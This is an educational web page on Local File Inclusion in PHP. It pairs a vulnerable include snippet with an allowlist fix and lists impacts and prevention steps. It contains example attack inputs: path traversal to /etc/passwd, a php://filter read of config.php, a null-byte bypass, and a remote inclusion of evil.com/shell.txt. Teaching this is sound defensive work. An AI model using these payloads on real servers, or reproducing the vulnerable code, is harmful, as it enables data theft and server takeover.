π Learn & Master LFI
Comprehensive guide covering theory, bypass techniques, real-world examples, and defense strategies
What is Local File Inclusion (LFI)?
Local File Inclusion (LFI) is a vulnerability that allows attackers to include and execute files from the local file system. This occurs when applications dynamically include files based on user input without proper validation, potentially exposing sensitive data or enabling remote code execution.
How It Works
When an application includes files based on user input without validation, attackers can manipulate the path to access arbitrary files. Common targets include /etc/passwd, configuration files, log files, and even achieving RCE through log poisoning or PHP wrappers.
β Vulnerable Code
// Vulnerable PHP code
<?php
$page = $_GET['page'];
include("/var/www/pages/" . $page);
?>
// Attacker payload:
// ?page=../../../../etc/passwd
// ?page=php://filter/convert.base64-encode/resource=config.phpβ Secure Code
// Secure PHP code
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $allowed)) {
include("/var/www/pages/{$page}.php");
} else {
include("/var/www/pages/error.php");
}
?>Types of File Inclusion
π Basic LFI
Simple file inclusion without any filtering or protection
?file=/etc/passwdπ Directory Traversal
Use path traversal sequences to access files outside the web root
?file=../../etc/passwdπ Null Byte Injection
Bypass file extension restrictions using null bytes
?file=../../etc/passwd%00π Remote File Inclusion
Include files from remote servers
?file=http://evil.com/shell.txtWhat Can Happen?
- π΄Sensitive Data Exposure: Access to /etc/passwd, database configs, API keys, and credentials
- π Source Code Disclosure: Read application source code, revealing business logic and additional vulnerabilities
- π‘Remote Code Execution: Through log poisoning, PHP wrappers, or session file manipulation
- π΄Complete System Compromise: Full server takeover via RCE and privilege escalation
How to Prevent LFI
- βUse Allowlists: Whitelist only allowed file names/paths, never rely on blocklists
- βInput Validation: Sanitize and validate all user input, reject path traversal sequences
- βUse realpath(): Resolve the real path and verify it's within allowed directory
- βDisable PHP Functions: Set allow_url_include=Off, disable file_get_contents on URLs
- βPrinciple of Least Privilege: Run web server with minimal file system permissions
- βMonitor & Log: Log file access attempts, monitor for suspicious patterns